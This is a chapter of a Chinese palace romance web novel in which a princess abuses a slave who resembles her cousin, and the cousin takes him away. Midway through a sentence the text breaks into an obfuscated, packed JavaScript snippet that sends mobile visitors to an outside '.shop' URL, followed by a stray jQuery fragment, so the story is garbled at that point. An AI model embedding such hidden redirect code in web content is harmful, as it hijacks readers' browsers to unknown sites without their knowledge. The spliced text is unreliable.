雾气凝结成水珠,充盈在眼眶中。
沈舒窈微昂起头,不敢让泪水滚落,弄花了最后仅剩的妆容。
她眼前的视线是模糊的,什么也看不清,却还是强忍欢笑,对着那道红色身影道:“表哥今日怎的有闲暇,来我这里?”
云知凛道:“来请公主收回公主少傅的成命。微臣才德浅薄,不堪此任。”
“表哥?”沈舒窈不可置信地看着他,泪珠终究挣出眼眶,顺着粉腮簌簌滑落,“若是连你都不能胜任,那世间就再无别的人了。”
云知凛不为所动,仍是坚定道:“请公主收回成命。”
“你就这样讨厌我吗?”沈舒窈声音发颤,“连这点时间都不肯给我?”
春桃见状,递上锦帕,沈舒窈低头按了按眼角,心底忽然窜起一股邪火来。
你不要看到我,我偏要你日日都得见着。
“这是父皇的旨意,”她抬起泛红的眼,梗着脖子道,“表哥若不情愿,自去寻父皇理论便是。”
反正有这道命令在,纵使他心里千般万般不愿,也得乖乖奉旨入宫。
场面一时僵住,气氛冷得像冰。
一旁诊脉的御医李微这时直起身,躬身禀道:“回公主殿下、临川王殿下,这人是暑热之症,久跪烈日之下,气血凝滞,筋脉劳损,暑邪耗气伤阴,我开一方子,悉心调理半月便可痊愈,期间切不可操劳,更不能再受日晒。”
李微侧身让开,床上人的面容便彻底显露出来。
云知凛的目光落于其上,微微一顿,随即脸色肉眼可见地阴沉下来,如降下雷风暴雨,双目如电,直射向沈舒窈。
“此人是谁?”
他对公主找寻与他面貌相似之人一事早有耳闻,原先听人说寻了个一模一样的奴隶,只当是夸大其词,如今见了,才知传闻不假。
沈舒窈擦干眼泪,被他这目光一扫,心里还有什么不清楚,顿时羞红了脸。
任谁遇到此事都要心中不快。
她咬着唇想:表哥那么神通广大,又有什么是他不知道的呢?他分明早晓得我的心意,但就喜欢故意这样晾着我。他不愿意答应我,还不能容我找一个消遣的玩意吗?
想归想,好不容易止住的泪却又流了出来。
一个奴隶,最下贱不过的玩意,表哥还要为此责难于我吗?
这样想着,便说出了口。
云知凛闻言冷冷道:“他同样是我大盛的子民,和我一样为人,更遑论和我有相同的面貌。你觉得他卑贱,看着我时难道不觉得一样鄙陋吗?
沈舒窈被他说得哑口无言,嗫嚅着辩解:“那、那怎能一样?表哥是未来的储君,怎可与这等贱民相提并论……”
“朽木不可雕。”云知凛的目光冷冷扫过床上昏迷的人,“这人我要带走。”
沈舒窈一惊,怯生生抬眼望他:“表哥要带他去哪里?”
“留在你殿中,早晚被你磋磨至死。”他语气淡漠,“我带走,也省得你犯下罪孽。”
“他犯了错,我罚他跪几日罢了,谁知道他这般不中用。”沈舒窈小声嘟囔,“平日里壮得跟头牛似的,谁曾想竟一晒就倒……”
云知凛目光扫过褚越腰间悬挂的金色令牌,眉峰蹙得更紧:“金鳞卫日日操练,体魄远胜常人。你究竟罚他跪了多久,才将人折腾得一病不起?我看你是越来越荒唐了。”
沈舒窈被他冷厉的语气吓得身子一缩,细若蚊蚋地接话:“太医说了,调理半个月就好……”
云知凛淡淡扫了她一眼,那目光压得她后半句话尽数咽回了肚子里,转而道:“表哥你若要他,等他病好了,我再给你送过去,免得过了病气。”
看他面色越来越不善,只得硬着头皮补了句:“他现在不宜挪动。”
云知凛冷哼一声:“病好了让他来见我。”
一拂袖,转身离去。
沈舒窈不敢上前阻拦,只提着裙摆在他后面跟了几步,望着他远去的背影,怔怔出神。
春桃在一旁看着,横眉竖目,像是有一些愤怒:“公主别看了,人都走了。”
沈舒窈鼻尖一酸,委屈与气恼齐齐涌上心头。
“是啊,人都走了。这下表哥更讨厌我了,都怪这个奴隶,真该死!”
那一拳终归是打到了褚越身上。
“什么时候不生病,偏偏这个时候生病,十年八年也没见你生过一回病,气死我了!”
气得沈舒窈伏在褚越的床头烂哭一通。
躺床上这位主迷迷糊糊间醒了,还以为沈舒窈是在哭他生病,费力抬起手,扶上她的脸颊,露出一个勉强的微笑:“别哭,我没事。”
沈舒窈被他的体温烫得一缩,怒道:“谁管你有事没事,你死了才好!”
褚越一怔,手僵在半空,无措地望着她,像是个做错了事的孩子。
沈舒窈一甩手,狠狠打开他的手腕,厉声道:“谁准你碰我的?”
褚越立刻收回手,垂着眼睫一声不吭,任由沈舒窈伏在床边痛哭。
不知过了多久,沈舒窈哭够了,闹够了,才发觉房里那个跟随云知凛一道进来的那个御医没走。
她面上一红,疾声厉色道:“你在这里干什么?”
李微却不怕她,笑眯眯地走上前,说:“殿下稍安,小翠姑娘说殿下身子不适,让臣来给殿下诊治。”
沈舒窈:“我好得很!”
她不满地横了李微一眼:“你还不退下?”
“是,微臣告退。”李微躬身行礼,眉眼弯成两道月牙,他提着药箱缓步退出门外,殿内重归安静。
褚越还是一副臊眉耷眼的模样,低垂着头,叫人看不清他的神情。
沈舒窈一看他这副模样就来气,窝窝囊囊,哪里有表哥半分高贵冰洁的模样?
“大丈夫威武不能屈,贫贱不能移,你低着头做什么?抬起头来!”
沈舒窈一吼他,他就缩着脖子,一副被她吓到了,害怕她生气的模样,仿佛挤着翅膀无处躲藏的鹌鹑。
他越是这般,沈舒窈越想罚他,磨得牙齿嘎嘣作响。
小翠端着药碗踏进房门,沈舒窈没好气地对床上人道:“你赶紧吃药,病好了去见表哥。”
禇越唯唯诺诺应了声“是”,伸手接过汤碗。
瓷碗滚烫,冒着袅袅热气,禇越眉心一皱,碰触到的手指立刻红成一片,他却没松开,仍是稳稳端着,手臂缓缓收拢,看那架势,竟然要把这烈焰熔浆往嘴里送。
吓得小翠惊叫道:“等等,药烫!”
沈舒窈听得这一声,才反应过来发生了什么,愤怒地冲到床边,指着禇越的鼻子臭骂:“你是死的吗?没一点感觉?烫不能等凉凉再喝!”
禇越这才把药碗重新放回到托盘上,坚毅的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861240|212005||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
唇角崩成一线,却还微微带了一点弧度。
这次虽然被骂了,心情却是很好的样子,主动开口道:“临川王找我有何事?”
沈舒窈气哼哼道:“他找你何事?你到了你就知道了。”
她总不能说表哥心善,怕我把你整死了。
她斜乜了一眼禇越,见他痴痴呆呆的,双目一瞬不瞬盯着自己瞧,总泛着一股不太聪明的傻劲儿。
虽然蠢笨,可五官轮廓俱同表哥如出一辙,若此次将他送走了,那今后再找个和表哥相似的,是万万不能了。
心中便有几分舍不得。
可表哥问她要人,她不能不给。
只能咬咬牙,狠狠心。
“你要是敢跟表哥说我坏话,我诛你九族。”
沈舒窈叉着腰,居高临下俯视着禇越,耀武扬威。
可转念一想,禇越全家都没了,要杀也只能杀他一条贱命。
这小奴隶想必是想到了这一点,仰望着她,清俊的眉目间舒展一片,更是晴朗。
他这样子,和云知凛就更加像了。
沈舒窈心里打鼓,很想借此机会去找云知凛问问,但云知凛又不愿意看见她。
她不知道自己主动过去,会不会又像上次一样被拒之门外。
禇越虽说乖乖应下,可在她这里就这么让她受气,到了表哥那还指不定怎么气表哥。
沈舒窈突然有些忧心。
怕禇越到云知凛那儿,让云知凛更加厌恶他。
于是清了清嗓子,对禇越道:“你到表哥那里要乖乖的听表哥的话,可不能像在我这一样跟个木头一样,听到了没?你要是惹他生气了,活剐了你!”
说完,还狠狠剜了禇越一眼。
那一眼似嗔含怒,禇越却呼吸突然沉了沉。
他低下头,长睫低垂着,在脸前打下一片阴影,不敢看向沈舒窈。
沈舒窈蹙眉:“你低着头做什么?抬起头看我。”
说着便去拖他的下巴,想先改一改他这个毛病。
禇越身上的皮肤还是滚烫,看向沈舒窈时,脸色也不知道是不是错觉,似乎更红了几分。
沈舒窈生气地看向他:“这么重的病,也不知道早点说!”
她看向周围宫女:“你们都是死的吗?”
明明平时跟他关系那么好,帮他说话,连他经受不住刑罚都不知道!也不早点来求她!
那些宫女被沈舒窈吼这一嗓子,也吓得缩着脖子,各个身体站得端直,不敢反驳。
沈舒窈见她们这样老实,又转过头去,对禇越道:“无论怎样你都要给我讨好表哥,听到没有?表哥让你往东你不准往西,你要什么赏赐,我都给你!”
禇越听了这番话,突然抬起眼帘,胆大包天看着她道:“我要什么赏赐都可以吗?”
沈舒窈本来随口一说,一看他这副模样,心里也不由得有些打鼓起来。
怎么?难不成这小奴才还想要什么了不起的东西?但是又有什么是公主我给不起的呢?
于是沈舒窈便道:“要什么都行,反正你不能让表哥不开心。”
禇越突然笑了,这一笑犹如琼花绽放,仿若有仙乐琴音在耳边响起,室内一众都看呆了眼。
他说:“谨遵公主吩咐。”
沈舒窈这才心满意足,也不由舒展开眉眼,对禇越多了几分好脸色。